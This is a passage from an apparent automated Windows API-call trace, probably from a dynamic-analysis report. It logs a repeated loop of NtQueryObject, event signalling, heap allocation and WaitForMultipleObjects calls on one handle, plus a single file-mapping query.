Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.771] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.771] ResetEvent (hEvent=0xdc) returned 1 [0093.771] SetEvent (hEvent=0xe0) returned 1 [0093.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.771] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.772] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.772] ResetEvent (hEvent=0xdc) returned 1 [0093.772] SetEvent (hEvent=0xe0) returned 1 [0093.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.772] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.773] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.773] ResetEvent (hEvent=0xdc) returned 1 [0093.773] SetEvent (hEvent=0xe0) returned 1 [0093.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.773] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.773] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.774] ResetEvent (hEvent=0xdc) returned 1 [0093.774] SetEvent (hEvent=0xe0) returned 1 [0093.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.774] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.774] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.774] ResetEvent (hEvent=0xdc) returned 1 [0093.774] SetEvent (hEvent=0xe0) returned 1 [0093.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.775] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.775] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.775] ResetEvent (hEvent=0xdc) returned 1 [0093.775] SetEvent (hEvent=0xe0) returned 1 [0093.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.776] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.776] ResetEvent (hEvent=0xdc) returned 1 [0093.776] SetEvent (hEvent=0xe0) returned 1 [0093.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.777] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.777] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.777] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.777] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.777] ResetEvent (hEvent=0xdc) returned 1 [0093.777] SetEvent (hEvent=0xe0) returned 1 [0093.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.778] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.778] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.778] ResetEvent (hEvent=0xdc) returned 1 [0093.778] SetEvent (hEvent=0xe0) returned 1 [0093.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.778] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.779] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.779] ResetEvent (hEvent=0xdc) returned 1 [0093.779] SetEvent (hEvent=0xe0) returned 1 [0093.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.780] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.780] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.780] ResetEvent (hEvent=0xdc) returned 1 [0093.780] SetEvent (hEvent=0xe0) returned 1 [0093.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.780] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.781] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.781] ResetEvent (hEvent=0xdc) returned 1 [0093.781] SetEvent (hEvent=0xe0) returned 1 [0093.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.781] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.782] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.782] ResetEvent (hEvent=0xdc) returned 1 [0093.782] SetEvent (hEvent=0xe0) returned 1 [0093.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.782] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.783] ResetEvent (hEvent=0xdc) returned 1 [0093.783] SetEvent (hEvent=0xe0) returned 1 [0093.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.783] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.783] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.783] ResetEvent (hEvent=0xdc) returned 1 [0093.783] SetEvent (hEvent=0xe0) returned 1 [0093.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.784] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.784] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.784] ResetEvent (hEvent=0xdc) returned 1 [0093.784] SetEvent (hEvent=0xe0) returned 1 [0093.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.785] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.785] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.785] ResetEvent (hEvent=0xdc) returned 1 [0093.785] SetEvent (hEvent=0xe0) returned 1 [0093.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.785] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.786] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.786] ResetEvent (hEvent=0xdc) returned 1 [0093.786] SetEvent (hEvent=0xe0) returned 1 [0093.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.786] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.787] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.787] ResetEvent (hEvent=0xdc) returned 1 [0093.787] SetEvent (hEvent=0xe0) returned 1 [0093.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.787] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.787] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.788] ResetEvent (hEvent=0xdc) returned 1 [0093.788] SetEvent (hEvent=0xe0) returned 1 [0093.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.788] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.788] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.788] ResetEvent (hEvent=0xdc) returned 1 [0093.788] SetEvent (hEvent=0xe0) returned 1 [0093.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.789] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.789] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.789] ResetEvent (hEvent=0xdc) returned 1 [0093.789] SetEvent (hEvent=0xe0) returned 1 [0093.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.790] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.790] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.790] ResetEvent (hEvent=0xdc) returned 1 [0093.790] SetEvent (hEvent=0xe0) returned 1 [0093.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.790] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.791] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.791] ResetEvent (hEvent=0xdc) returned 1 [0093.791] SetEvent (hEvent=0xe0) returned 1 [0093.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.791] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.792] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.792] ResetEvent (hEvent=0xdc) returned 1 [0093.792] SetEvent (hEvent=0xe0) returned 1 [0093.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.792] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.793] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.793] ResetEvent (hEvent=0xdc) returned 1 [0093.793] SetEvent (hEvent=0xe0) returned 1 [0093.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.793] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.793] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.793] ResetEvent (hEvent=0xdc) returned 1 [0093.793] SetEvent (hEvent=0xe0) returned 1 [0093.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.794] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.794] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.794] ResetEvent (hEvent=0xdc) returned 1 [0093.794] SetEvent (hEvent=0xe0) returned 1 [0093.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.795] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.795] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.795] ResetEvent (hEvent=0xdc) returned 1 [0093.795] SetEvent (hEvent=0xe0) returned 1 [0093.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.795] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.796] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.796] ResetEvent (hEvent=0xdc) returned 1 [0093.796] SetEvent (hEvent=0xe0) returned 1 [0093.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.796] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.797] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.797] ResetEvent (hEvent=0xdc) returned 1 [0093.797] SetEvent (hEvent=0xe0) returned 1 [0093.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.797] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.798] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.798] ResetEvent (hEvent=0xdc) returned 1 [0093.798] SetEvent (hEvent=0xe0) returned 1 [0093.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.798] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.798] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.798] ResetEvent (hEvent=0xdc) returned 1 [0093.798] SetEvent (hEvent=0xe0) returned 1 [0093.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.799] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.799] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.799] ResetEvent (hEvent=0xdc) returned 1 [0093.799] SetEvent (hEvent=0xe0) returned 1 [0093.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.800] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.800] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.800] ResetEvent (hEvent=0xdc) returned 1 [0093.800] SetEvent (hEvent=0xe0) returned 1 [0093.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.800] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.801] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.801] ResetEvent (hEvent=0xdc) returned 1 [0093.801] SetEvent (hEvent=0xe0) returned 1 [0093.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.801] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.802] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.802] ResetEvent (hEvent=0xdc) returned 1 [0093.802] SetEvent (hEvent=0xe0) returned 1 [0093.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.802] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.803] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.803] ResetEvent (hEvent=0xdc) returned 1 [0093.803] SetEvent (hEvent=0xe0) returned 1 [0093.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.803] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.803] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.803] ResetEvent (hEvent=0xdc) returned 1 [0093.804] SetEvent (hEvent=0xe0) returned 1 [0093.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.804] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.804] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.804] ResetEvent (hEvent=0xdc) returned 1 [0093.804] SetEvent (hEvent=0xe0) returned 1 [0093.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.805] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.805] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.805] ResetEvent (hEvent=0xdc) returned 1 [0093.805] SetEvent (hEvent=0xe0) returned 1 [0093.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 